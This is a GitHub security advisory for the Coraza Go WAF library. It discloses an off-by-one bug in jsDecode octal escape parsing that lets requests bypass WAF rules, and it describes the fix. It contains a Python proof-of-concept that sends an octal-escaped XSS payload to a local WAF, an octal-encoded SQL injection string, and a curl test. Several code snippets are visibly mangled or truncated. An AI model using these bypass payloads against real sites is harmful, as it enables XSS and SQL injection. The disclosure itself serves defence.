GitHub Advisoryadvisory · Go
GHSA-pc5q-qfxp-ggqv Coraza: jsDecode Off-by-One in Octal Escape Handling Enables WAF Bypass
MEDIUM
Official page ↗
- Aliases
- CVE-2026-104774
- Ecosystem
- Go
- Packages
- github.com/corazawaf/coraza/v3
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
- Weaknesses
- CWE-172, CWE-193, CWE-693
- Reviewed
- 2026-10-08
Affected packages
• Go github.com/corazawaf/coraza/v3: >= 3.0.0, < 3.8.0 → fixed in 3.8.0
Description
Summary
The `t:jsDecode` transformation in Coraza WAF contains an off-by-one error when parsing octal escape sequences. A backslash character was incorrectly included in the octal number buffer, causing `strconv.ParseInt` to fail for every octal escape sequence and return a null byte instead of the decoded value that would normally be returned. This will cause all JS-escaped payloads to be corrupted, thus leading to the bypassing of these WAF rules when WAF rules that rely on `jsDecode` for normalization are enabled.
Therefore, a real-world attack scenario: an attacker could use JavaScript octal escape sequences (`\ooo`) to encode attack syntax. Although the WAF cannot decode these sequences correctly, the target backend (such as a browser or application) can parse them as expected.
Details
Vulnerable code: `internal/transformations/js_decode.go:64-70.`
```go
case (i+1 ‘3’`), leaving `[‘\’, ‘1’]`.
This error affects all octal escape sequences (from `\000` to `\377`). Each sequence is decoded and displayed as `0x00` instead of the expected value. For example: `\377` is normally decoded as `\xff` or 255
```go
// Bug: buf = ['\', '3', '7'] to string(buf) = "\\37"
nn, _ = strconv.ParseInt("\\37", 8, 8) // nn = 0
// Correct: buf = ['3', '7', '7'] = "377"
nn, _ = strconv.ParseInt("377", 8, 8) // nn = 255 = 0xFF
```
PoC
Test Environment
Coraza WAF v3.7.0 is configured to `127.0.0.1:8090`, `SecRuleEngine` is set to `On`, `SecRequestBodyAccess` is set to `On`, and the complete OWASP CRS rule set has been loaded.
PoC Executable Script
```python
!/usr/bin/env python3
import urllib.request, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8090"
normal_url = f"{TARGET}/?q=%3Cscript%3E"
octal_url = f"{TARGET}/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E"
print(f"[Normal XSS: {normal_url}")
try:
urllib.request.urlopen(normal_url)
print(" Response: 200 ")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
print(f"\nBypass JS octal-escaped XSS: {octal_url}")
try:
urllib.request.urlopen(octal_url)
print(" Response: 200 (BYPASS)")
except urllib.error.HTTPError as e:
print(f" Response: {e.code}")
```
output:
```
Normal XSS: http://127.0.0.1:8090/?q=%3Cscript%3E
Response: 403
Bypass JS octal-escaped XSS: http://127.0.0.1:8090/?q=%3C%5C163%5C143%5C162%5C151%5C160%5C164%3E
Response: 200 (BYPASS)
```
Proof
• Normal Test
```bash
curl -v -s "http://127.0.0.1:8090/?q=%3Cscript%3E"
" is_interrupted=false
```
Impact
Attackers can bypass WAFs that rely on the `t:jsDecode` transformation rule, leading to cross-site scripting (XSS), SQL injection, or other malicious activities.
Real-world attack scenarios:
SQL injection bypass. A rule using `t:jsDecode` received `\47\117\122\40\61\75\61` (i.e., `' OR 1=1`). This octal string decodes to `\0...`, so the rule did not match the SQL injection pattern.
Affected Versions
Coraza WAF v3.0.0 - v3.7.0
Resolution
Fixed in `internal/transformations/js_decode.go`'s `\OOO` octal branch, plus two related issues found and fixed while verifying the patch — the actual shipped fix is broader than the single-line change originally proposed:
1. The reported off-by-one (`buf[j] = input[i+j]` → `buf[j] = input[i+1+j]`, with the digit-continuation check updated to `input[i+1+j]` accordingly): confirmed and fixed exactly as described above.
2. A related high-byte clamping bug in the same branch: the decoded value was parsed with `strconv.ParseInt(string(buf), 8, 8)` — a *signed* 8-bit parse. Octal values `\200`-`\377` (decimal 128-255) exceed the signed int8 range, so even after fixing the indexing bug, those high bytes would still fail to parse and clamp to `0x7f` instead of their real value. Fixed by parsing as unsigned (`strconv.ParseUint(string(buf), 8, 8)`), so the full `\000`-`\377` range decodes correctly.
3. A related overflow-saturation bug in the sibling `escapeSeqDecode` transformation (`internal/transformations/escape_seq_decode.go`), discovered while auditing the same octal-parsing pattern elsewhere in the codebase. Unlike `jsDecode`, `escapeSeqDecode`'s indexing was already correct, but it parsed octal values with `strconv.ParseUint(input[i+1:i+j], 8, 8)` — an 8-bit-wide unsigned parse. Since up to 3 octal digits are consumed (`\0`-`\777`, i.e. up to decimal 511), any value above `\377` (255) overflows 8 bits, causing `strconv.ParseUint` to return an error and a saturated value of `0xFF` for every one of those escapes, rather than correctly wrapping to its low byte (mirroring ModSecurity's `strtol(...) & 0xFF` reference behavior). Fixed by widening the parse to 16 bits (`strconv.ParseUint(input[i+1:i+j], 8, 16)`) before truncating to a byte, so `\400`-`\777` now wrap to their correct low-byte value instead of all saturating to `0xFF`.
Verified end-to-end: both PoC payloads from this report now decode correctly —
`` → ``, and `\47\117\122\40\61\75\61` → `'OR 1=1` — so a downstream WAF rule inspecting the transformed value now sees the real, intended content instead of null bytes or clamped/saturated garbage.
Extensive regression tests were added covering the full octal range (including the `\200`-`\377` high-byte range and the `\400`-`\777` overflow range for `escapeSeqDecode`), the pre-existing digit-count/truncation edge cases, and both PoC payloads verbatim.
Mitigation
Upgrade to the patched release once available. If upgrading isn't immediately possible, the specific code change is:
```go
for (i+1+j = inputLen || !isodigit(input[i+1+j]) {
break
}
}
...
nn, _ := strconv.ParseUint(string(buf), 8, 8)
```
Severity (revised 2026-10-02)
`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).
Attack Complexity is Low: JavaScript engines decode legacy octal escapes in non-strict string literals (ECMAScript Annex B), the standard behaviour `jsDecode` emulates, so the request alone triggers the discrepancy. The previous vector (`S:U/C:L/I:L`, 6.5) scored Confidentiality and Inte…
Related
Alias · CVE (1)
- CVE-2026-104774 OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. vulnerability